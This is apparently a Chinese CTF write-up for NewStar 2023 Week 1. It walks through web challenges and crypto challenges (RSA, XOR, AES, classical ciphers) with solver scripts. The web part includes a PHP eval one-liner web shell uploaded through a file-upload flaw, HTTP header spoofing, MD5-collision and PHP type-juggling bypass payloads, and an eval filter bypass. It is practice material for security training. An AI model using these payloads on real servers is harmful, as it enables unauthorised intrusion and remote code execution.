NewStar 2023 Week1
S3a Lv3

NewStar WriteUp Week1

web

泄露的秘密

image

看到题目 首先想到 信息泄露相关的知识点:想到 phpinfo.php test.php ….

​ 最后到robots.txt 得到一半flag:

image

PART ONE: flag{r0bots_1s_s0_us3ful

www.zip:

image

$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";

1
2
3
<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";

Begin of Upload

image

典型的文件上传漏洞 简单的尝试一下:

利用bp抓包 修改后缀以及添加一句话php后门代码: <?php @eval($_POST['111111']);?>

image

上传成功 利用蚁剑连接

image

发现flagflag{ba65aadc-84ca-4ece-9a14-fadf4362f3c3}

ErrorFlask

打开靶机显示:

image

先利用抓包 简单构造number1和number2:

image

不是ssti模版注入,想到是整型数字可以正常得出结果,假如是字符会得出什么:

image

页面500 搜索flag 得到flag{Y0u_@re_3enset1ve_4bout_deb8g}

Begin of HTTP

  1. 首先打开目标靶机

    image

  2. 发现可能首先涉及的是get方式传参数 ctf,利用抓包看看效果

    image

  3. 页面给出提示 ,后续需要利用POST请求给secret传值,但是具体传什么还不知道,首先查看源代码

    image

  4. 发现了小东西:<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) --> 利用base64解密得到:n3wst4rCTF2023g00000d

    image

  5. 进行post传值secret=n3wst4rCTF2023g00000d

    image

  6. 成功传值后给出下一步提示:发现cookie中存在power 于是将power修改为ctfer

    image

  7. 下一步提示需要修改浏览器,即是修改UA User-Agent: NewStarCTF2023

    image

  8. 继续跟着提示修改Referer: newstarctf.com

    image

  9. 本来以为结束了,既然还有,限制只允许本地用户,首先想到X-Forwarded-For,但是尝试了X-Forwarded-For:127.0.0.1没有任何效果,继续查阅相关http的资料发现 x-real-ip也能限制本地用户

    image

  10. 得到flag:flag{17b2edf3-a19b-4e8f-8639-cb2c5edb7000}

整个题的思路还是很简单,只需要跟着题目的提示来解决就行,主要是要了解http的相关知识。

Begin of PHP

  1. 首先打开靶机看到php代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
     <?php
    error_reporting(0);
    highlight_file(__FILE__);

    if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
    $flag1 = True;
    }else{
    die("nope,this is level 1");
    }
    }

    if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
    if(md5($_POST['key3']) === sha1($_POST['key3'])){
    $flag2 = True;
    }
    }else{
    die("nope,this is level 2");
    }
    }

    if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
    if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
    $flag3 = True;
    }else{
    die("nope,this is level 3");
    }
    }
    }

    if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
    if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
    $flag4 = True;
    }else{
    die("nope,this is level 4");
    }
    }
    }

    if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
    if(preg_match("/[a-zA-Z0-9]/",$var)){
    die("nope,this is level 5");
    }
    }
    if($flag5){
    echo file_get_contents("/flag");
    }else{
    die("nope,this is level 5");
    }
    }
  2. 进行代码审计,发现大概思路是首先输入key1key2满足两个输入的值不同但是md5值相同得到flag1 接着满足其他条件依次得到flag2,flag3,flag4,由flag5得到flag

  3. 首先找到key1key2满足两个输入的值不同但是md5值相同

    1
    2
    3
    key1= fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B

    key2= fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B

    image

  4. 根据提示已经进入level 2 此时要满足md5($_POST['key3']) === sha1($_POST['key3']

    像这样的强比较,传入的不是字符串而是数组,不但md5() 和 sha1()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过

    image

  5. 此时已经显示进入level 3 ,接着满足strcmp($_GET['key4'],file_get_contents("/flag")

    strcmp 的参数只能是 字符串,当我们传入数组时就会返回NULL,而判断使用的是==,NULL==0是 bool(true)的

    image

  6. 现在进入level 4,现在需要满足!is_numeric($_GET['key5']) && $_GET['key5'] > 2023

    image

  7. 最后到达level 5,根据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    extract($_POST);
    foreach($_POST as $var){
    if(preg_match("/[a-zA-Z0-9]/",$var)){
    die("nope,this is level 5");
    }
    }
    if($flag5){
    echo file_get_contents("/flag");
    }

    首先要过滤preg_match,接着要构造flag5

    建议:当初不是很明白,利用phpstudy构造此页面进行测试

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    print_r($_POST);
    foreach($_POST as $var){
    print_r($var);
    if(preg_match("/[a-zA-Z0-9]/",$var)){
    die("nope,this is level 5-1");
    }
    }
    if($flag5){
    echo "hello";
    echo file_get_contents("/flag");
    }else{
    die("nope,this is level 5-2");
    }
    }

    image

    绕过preg_match,通过%00``%5c绕过

    image

  8. 最后得到flag:flag{de665d4c-3bbd-44e8-8eba-2b6cfeef881a}

R!C!E!

image

  1. 首先观察给出的php代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
     <?php
    highlight_file(__FILE__);
    if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
    if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
    eval($code);
    }
    }
    }
  2. 审查代码得知:需要通过POST传参passworde_v.a.l

    md5碰撞得到:114514的md5值前6为是c4d038

    image

    涉及到RCE绕过:通配符绕过,内敛执行

    image

crypto

brainfuck

++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.

brainfuck在线解密:

image

flag{Oiiaioooooiai#b7c0b1866fe58e12}

Caesar’s Secert

kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}

凯撒密码解密:

image

Fence

fa{ereigtepanet6680}lgrodrn_h_litx#8fc3

栅栏密码解密:

image

flag{reordering_the_plaintext#686f8c03}

babyrsa

RSA算法

RSA算法由两个密钥,即公钥和私钥组成。
    1)准备两个非常大的素数 p和 q (转换成二进制后 1024个二进制位或者更多,位数越多越难破解);
    2)利用字符串模拟计算大素数 p 和 q 的乘积 m=pq;
    3)同样方法计算m=(p-1)(q-1) ,这里的 m是 n 的欧拉函数;
    4)找到一个数e (1<e<m)满足 gcd(m,e)=1(即 e 和 m 互素);
    5)计算 e 在模 m 域上的逆元d (即满足ed mod m =1 );
    6)至此,公钥和私钥生成完毕: (n,e)为公钥, (n,d)为私钥;

加密: 对于明文x,用公钥 (n,e)对 x 加密的过程,就是将 x 转换成数字(字符串的话取其 ASCII码或者 unicode 值),然后通过幂取模计算出y ,其中 y就是密文;

image

解密:对于密文y ,用私钥 (n,d) 对 y 进行解密的过程和加密类似,同样是计算幂取模;

image


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from flag import flag

def gen_prime(n):
res = 1

for i in range(15):
res *= getPrime(n)

return res


if __name__ == '__main__':
n = gen_prime(32)
e = 65537
m = bytes_to_long(flag)
c = pow(m,e,n)
print(n)
print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

经过大素数分解:17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261

能分解成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2217990919<10> 
2338725373<10>
2370292207<10>
2463878387<10>
2706073949<10>
2794985117<10>
2804303069<10>
2923072267<10>
2970591037<10>
3207148519<10>
3654864131<10>
3831680819<10>
3939901243<10>
4093178561<10>
4278428893<10>

根据给出的文件 写出解码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import gmpy2
from Crypto.Util.number import *

# 公钥e
e = 65537

# 欧拉函数eular euler = (p - 1) * (q - 1)
num = [2217990919, 2338725373, 2370292207, 2463878387,2706073949, 2794985117, 2804303069, 2923072267,
2970591037, 3207148519, 3654864131, 3831680819,3939901243, 4093178561, 4278428893]
eular = 1
for i in num:
eular = eular * (i - 1)
# print(eular)

n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
# 私钥d
d = gmpy2.invert(e, eular)
m = pow(c, d, n)

print(long_to_bytes(m).decode('utf-8', errors='ignore'))

babyencoding

1
2
3
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

看到题目 得知:flag由三个部分组成

  1. part 1 of flag:base64 flag{dazzling_encoding#4e0ad4

  2. part 2 of flag:base32 f0ca08d1e1d0f10c0c7afe422fea7

  3. part 3 of flag: UUencode c55192c992036ef623372601ff3a}

flag: flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}


UUencode

简述:

​ UUencode是一种二进制到文字的编码,最早在unix邮件系统中使用,全称:Unix-to-Unix encoding,UUencode将输入文本以每三个字节为单位进行编码,如果最后剩下的资料少于三个字节,不够的部份用零补齐。三个字节共有24个Bit,以6-bit为单位分为4个组,每个组以十进制来表示所出现的字节的数值。这个数值只会落在0到63之间。然后将每个数加上32,所产生的结果刚好落在ASCII字符集中可打印字符(32-空白…95-底线)的范围之中。

举例:

1
2
明文:hello,world.
密文:,:&5L;&\L=V]R;&0N

在线解密&工具

http://www.hiencode.com/uu.html

babyxor

题目:

1
2
3
4
5
6
7
8
9
from secret import *

ciphertext = []
flag = 'e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2'
for f in flag:
ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

解密脚本

1
2
3
4
5
6
7
from pwn import xor

ciphertext = bytes.fromhex('e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2')

for i in range(256):
if b'flag' in xor(bytes([i]), ciphertext):
print(xor(bytes([i]), ciphertext))

babyaes

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import AES
import os
# from flag import flag
from Crypto.Util.number import *


def pad(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
flag_ = pad(flag)
key = os.urandom(16) * 2
iv = os.urandom(16)
print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)
print(enc_flag)


if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

解题aes,我们需要密码key偏移量iv,根据题目提示,加密模式是AES-CBC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Cipher import AES
import os
# from flag import flag
from Crypto.Util.number import *


def main():
xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229 ^ 1
print(xor)
out = long_to_bytes(xor)
key = out[:16] * 2
print(key)
iv = bytes_to_long(key[16:]) ^ bytes_to_long(out[16:])
iv = long_to_bytes(iv)
print(iv)
ciphertext = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(ciphertext)
print(flag)


if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

 Comments
Comment plugin failed to load
Loading comment plugin